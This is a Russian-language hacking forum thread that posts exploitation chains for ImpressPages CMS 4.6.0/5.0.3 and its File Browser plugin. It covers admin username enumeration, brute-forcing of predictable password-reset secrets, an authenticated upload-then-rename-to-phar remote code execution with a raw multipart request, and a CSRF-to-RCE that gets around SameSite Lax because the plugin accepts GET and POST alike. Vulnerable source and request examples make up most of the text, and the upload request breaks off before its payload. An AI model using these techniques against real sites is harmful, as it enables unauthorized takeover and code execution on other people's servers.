PDA

Просмотр полной версии : Impresspages CMS


Baskin-Robbins
18.06.2021, 11:47
Сайт - impresspages.org

Версия 4.6.0 (+ 5.0.3)

Admin login|email harvestering

Разные ошибки для неправильного логина и пароля, позволяет перебрать админский логин.

Bypass auth

Зависимости

-- Наличие админского логина

-- Локальное время сервера

Ip/Internal/Administrators/Model.php


PHP:
private static functiongeneratePasswordResetSecr et($userId)
{
$secret=md5(ipConfig()->get('sessionName') .uniqid());
$data= array(
'resetSecret'=>$secret,
'resetTime'=>time()
);
ipDb()->update('administrator',$data, array('id'=>$userId));
return$secret;
}


Линк на смену пароля генерируется из сессии + unix timestamp.

Генерируем список ссылок - брутим.


Code:
http://ip4.localhost.com/?sa=Admin.passwordReset&id=1&secret=b0d1993093080751147b5ab92d934d02


RCE

Зависимости:

-- Админские привилегии

-- Разрешение на выполнение phar

В админке все взаимодействие строится на подключенных модулях и вызова их методов.

Мы можем вызвать любой метод, определенный в AdminController.php, соответсвующих

модулей ядра и плагинов.

Загрузка файлов происходит без проверки содержимого, проверка расширения по белому листу.

И даже если бы могли грузить php, нам мешает .htaccess


Code:

deny from all


Что можно с этим сделать?

Метод storeNewFiles() - перемещение загруженных файлов в папку file/repository

из file/tmp - причем мы можем это сделать сменив расширение. В папку secure

грузить смысла нет, так как второй .htaccess блочит доступ. Нам сгодится phar.

Ip/Internal/Repository/AdminController.php


PHP:
public functionstoreNewFiles()
{
ipRequest()->mustBePost();
$post=ipRequest()->getPost();
$secure= !empty($post['secure']);
$path= isset($post['path']) ?$post['path'] :null;

$browserModel=BrowserModel::instance();

$browserModel->pathMustBeInRepository($path,$secure);

if (!isset($post['files']) || !is_array($post['files'])) {
return new \Ip\Response\Json(arr ay('status'=>'error','errorMessage'=>'Missing POST variable'));
}

$files= isset($post['files']) ?$post['files'] : [];

$newFiles= [];

$destination=$browserModel->getPath($secure,$path);

foreach ($filesas$file) {
$sourceDir='file/tmp/';
if ($secure) {
$sourceDir='file/secure/tmp/';
}

$source=ipFile($sourceDir.$file['fileName']);
$source=realpath($source);//to avoid any tricks with relative paths, et c.
if (strpos($source,realpath(ipFile($sourceDir))) !==0) {
ipLog()->alert('Core.triedToAccessNonPublicFile', array('f ile'=>$file['fileName']));
continue;
}

$newName= \Ip\Internal\File\Functions::genUnoccup iedName($file['renameTo'],$destination);
copy($source,$destination.$newName);
unlink($source);//this is a temporary file
$browserModel= \Ip\Internal\Repository\BrowserMod el::instance();
$newFile=$browserModel->getFile($newName,$secure,$path);
$newFiles[] =$newFile;
}
$answer= array(
'status'=>'success',
'files'=>$newFiles
);

return new \Ip\Response\Json($answer);
}



Запрос на загрузку файла

[CODE]
Code:
POST / HTTP/1.1
Host: ip4.localhost.com
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://ip4.localhost.com/dddddddddddddddd/
Content-Type: multipart/form-data; boundary=---------------------------66207624121407658211508896721
Content-Length: 750
DNT: 1
Connection: close
Cookie: ses311298187=rg1gc0d7bru1k2no5mkisue2km;
Sec-GPC: 1

-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="name"

1.jpg
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="sa"

Repository.upload
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="secureFolder"

0
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="securityToken"

eb763756cb06598270d99b1ab71b0bc6
-----------------------------66207624121407658211508896721
Content-Disposition: form-data; name="file"; filename="4.php"
Content-Type: application/octet-stream

Baskin-Robbins
30.08.2021, 18:48
CSRF -> RCE (bypass default samesite cookie value Lax)

Плагин File Browser v. 1.00

В целом обычная csrf в плагине и совершенно очевидный обход ограничений в PHP

приложениях дефолтных Samesite cookie Lax.

Из коробки POST запросы эксплуатировать тяжело, но большинство трудностей

улетучивается когда разрабы используют $_REQUEST или функции/конструкции наподобие

этих:


PHP:
$var=$_SERVER['REQUEST_METHOD'] ==='POST'?$_POST:$_GET;

# или например
# from LiveStreet CMS

functiongetRequest($sName,$default=null,$sType=nul l)
{
switch (strtolower($sType)) {
default:
casenull:
$aStorage=$_REQUEST;
break;
case'get':
$aStorage=$_GET;
break;
case'post':
$aStorage=$_POST;
break;
}

if (isset($aStorage[$sName])) {
if (is_string($aStorage[$sName])) {
returntrim($aStorage[$sName]);
} else {
return$aStorage[$sName];
}
}
return$default;
}



Что впринципе мы и видим ниже, один и тот же запрос в GET и POST.

Хэш в запросе:

Plugin/Browser/elfinder/php/elFinderConnector.class.php


PHP:
public functionrun() {
$isPost=$_SERVER["REQUEST_METHOD"] =='POST';
$src=$_SERVER["REQUEST_METHOD"] =='POST'?$_POST:$_GET;
if ($isPost&& !$src&&$rawPostData= @file_get_contents('php://input')) {
// for support IE XDomainRequest()
$parts=explode('&',$rawPostData);
foreach($partsas$part) {
list($key,$value) = array_pad(explode('=',$part),2,'');
$src[$key] =rawurldecode($value);
}
$_POST=$src;
$_REQUEST=array_merge_recursive($src,$_REQUEST);
}
$cmd= isset($src['cmd']) ?$src['cmd'] :'';
$args= array();

if (!function_exists('json_encode') ) {
$error=$this->elFinder->error(elFinder::ERROR_CONF,elFinder::ERROR_CONF_NO _JSON);
$this->output(array('error'=>'{"error":["'.implode('","',$error).'"]}','raw'=>true));
}

if (!$this->elFinder->loaded()) {
$this->output(array('error'=>$this->elFinder->error(elFinder::ERROR_CONF,elFinder::ERROR_CONF_NO _VOL),'debug'=>$this->elFinder->mountErrors));
}

// telepat_mode: on
if (!$cmd&&$isPost) {
$this->output(array('error'=>$this->elFinder->error(elFinder::ERROR_UPLOAD,elFinder::ERROR_UPLOA D_TOTAL_SIZE),'header'=>'Content-Type: text/html'));
}
// telepat_mode: off

if (!$this->elFinder->commandExists($cmd)) {
$this->output(array('error'=>$this->elFinder->error(elFinder::ERROR_UNKNOWN_CMD)));
}

// collect required arguments to exec command
foreach ($this->elFinder->commandArgsList($cmd) as$name=>$req) {
$arg=$name=='FILES'
?$_FILES
: (isset($src[$name]) ?$src[$name] :'');

if (!is_array($arg)) {
$arg=trim($arg);
}
if ($req&& (!isset($arg) ||$arg==='')) {
$this->output(array('error'=>$this->elFinder->error(elFinder::ERROR_INV_PARAMS,$cmd)));
}
$args[$name] =$arg;
}

$args['debug'] = isset($src['debug']) ? !!$src['debug'] :false;

$this->output($this->elFinder->exec($cmd,$this->input_filter($args)));
}